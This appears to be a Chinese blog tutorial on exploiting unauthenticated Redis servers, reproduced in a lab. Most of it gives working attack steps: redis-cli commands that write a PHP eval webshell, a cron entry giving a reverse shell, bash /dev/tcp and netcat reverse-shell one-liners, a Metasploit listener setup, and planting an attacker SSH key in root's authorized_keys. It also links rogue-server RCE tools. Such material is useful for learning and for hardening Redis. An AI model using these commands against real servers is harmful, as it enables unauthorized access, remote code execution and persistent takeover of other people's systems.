Redis简介
如果看了本文章并不是很了解可以去看看(2条消息) Redis基本使用,键(key)命令|Redis持久化|Redis动态修改配置_恰恰想学习的博客-CSDN博客
REmote DIctionary Server(Redis)是一个由Salvatore Sanfilippo写的key-value存储系统,是跨平台的非关系型数据库(端口:6379)
存储缓存用的数据 需要高速读/写的场合使用它快速读/写
什么是Redis未授权访问漏洞?
Redis默认情况下,会绑定0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样会将Redis服务暴露在公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据,攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登陆目标服务器
外网Redis配置
找到redis中的redis.cof文件并打开:
修改protectd-mode为no
将#bind 127.0.0.1修改为bind 127.0.0.1
修改daemonize属性为yes
daemonize:yes:redis采用的是单进程多线程的模式。当redis.conf中选项daemonize设置成yes时,代表开启守护进程模式。在该模式下,redis会在后台运行,并将进程pid号写入至redis.conf选项pidfile设置的文件中,此时redis将一直运行,除非手动kill该进程。
daemonize:no: 当daemonize选项设置成no时,当前界面将进入redis的命令行界面,exit强制退出或者关闭连接工具(putty,xshell等)都会导致redis进程退出。
开放端口6379:
iptables -I INPUT -p tcp --dport 6379 -j ACCEPT
环境下载
http://download.redis.io/releases/redis-2.8.17.tar.gz
解压后输入make
复现
编辑redis.conf
修改daemonize为yes
将#bind 127.0.0.1中的#删除
启动redis服务,并且开启6379端口
同样我们在攻击机上也安装并且进行make
连接靶机的redis
检测是否可以正常执行
利用redis写webshell
复现条件
靶机redis链接未授权,我们可以通过外网直接访问,并且不需要输入密码
开通了http服务,知道了服务器网站目录的路径,可以通过文件遍历,上传,phpinfo,路径爆破等
webshell提权命令
/redis-cli -h 192.168.1.1 -p 6379
远程登陆redis数据库
config set dir var/html/www/
设置redis备份键值持久化的路径
config set dbfilename shell.php
将持久化文件名字更改为shell.php
set set "<?php @eval($_POST[test];)?>"
我们在靶机当前目录开启了一个http服务
接着我们回到攻击机上 输入config set dir /root/Desktop
输入config set dbfilename shell.php
输入set djx "<?php phpinfo();?>"
进行保存save
接着我们返回浏览器刷新发现出现一个shell.php
接着我们去访问
这就是一次webshell获取的步骤
Crontab反弹shell
通过 crontab 命令,我们可以在固定的间隔时间执行指定的系统指令或 shell script 脚本。时间间隔的单位可以是分钟、小时、日、月、周的任意组合
Crontab格式
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
Crontab反弹shell思路:
通过攻击机端口监听,在redis未授权的情况下编辑我们的持久化文件和名称 通过set 键中的值去写入到/var/spool/cron 将dbfilename文件名称更改为root通过设置的任务去请求我们的攻击机从而获得反弹shell
路径 | 内容 |
/var/spool/cron | 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab |
/etc/crontab | 放的是对应周期的任务dalily,hourly,monthly,weekly |
Linux crontab命令
命令 | 操作 |
crontab -u root -r | 删除某个用户的任务 |
crontab -u root -l | 列举某个用户的任务 |
crontab -u root -e | 编辑某个用户的任务 |
crontab -u root time.cron | 把文件添加到某个用户的任务 |
攻击机常见监听方式
类型 | 命令 |
netcat | nc -lvvp port |
msf | msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.18.1.1 set lport port run |
socat | socat TCP-LISTEN:7777 |
常见建立反弹连接的方式
类型 | 命令 |
linux bash | bash -i >& /dev/tcp/192.168.142.144/7777 0>&1 |
netcat | nc -e /bin/bash 192.168.1.1 7777 |
特殊文件/dev/tcp,打开这个文件就类似于发出了一个socket的调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据
Redis反弹连接详情:
连接redis,设置持久化路径为/var/spool/cron
更改dbfilename文件名为root
攻击机设置监听端口7777
设置键值任务计划值并且保存 等待1分钟后
Redis SSH key免密登陆
靶机开启ssh服务sudo service ssh start
并且在/root/文件夹中有.ssh目录没有请自行创建mkdir /root/.ssh
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器
攻击机生成密钥对(公钥,私钥)
客户端把公钥发给服务端保存
客户端用私钥加密消息,发给服务端
服务端用公钥解密,解密成功,说明密钥匹配
客户端免密登陆成功
攻击机生成密钥对ssh-keygen
进入存放密钥的路径找到公钥authorized_keys 将里面的值复制一下
将公钥的值放在靶机redis里面\n是换行的意思
\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5j6OSioyj1AdNH2wSs9vC0ta+1ZZjHwFOZeI974xAMt7awC50covqX/s34pl3+PUewENS6vHrGp40csmUmb0Hd1390df5KUMkI4DxN2TicPeg9+DdjwY7j0V5T/5VfBrTYmItj+MstUyNoYzxKac+Npx5OtsoRqFYwPcXLB/EL5Fl+LZUFP3HzLsS7KkVSCtcxbv6Lx4BqnPPBednIJIjuJ1Wlh8BkEYUnqSOPzOZCJJ0kvMe4RmJrSafcf9q+Ifx2pUkw0ZxYwPjt8yvISZKvPlxOd8TY2Joa6lnmKEhTd/t94SzBCAoHi3zmOcKEaRV7foyvUFvTDZvmPpvVTRZYW8PEbFc/LxwJvIKnypm4t5aqSDhWetR+lud9Qc1jpktAOx9UIA1jlvEwmN08iyE61o4TPv/RLVvTRfE/3DN2kNAKIdU47QEqKL0TKQ85BrSFk5Jjry/EfRwjtn1ZUS4mk0fWZVOopy2WcqUUlEaMoQfTQmOJqR3pqLiLSwi37s= root@kali\n\n
设置持久化路径和持久化文件名称
最后连接即可 ssh -i id_rsa root@192.168.1.1
Redis其他利用方式
基于主从复制的RCE(Remote Code Execution)
GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE
.https://github.com/Ridter/redis-rce
jackson反序列化利用
lua RCE
Redis密码爆破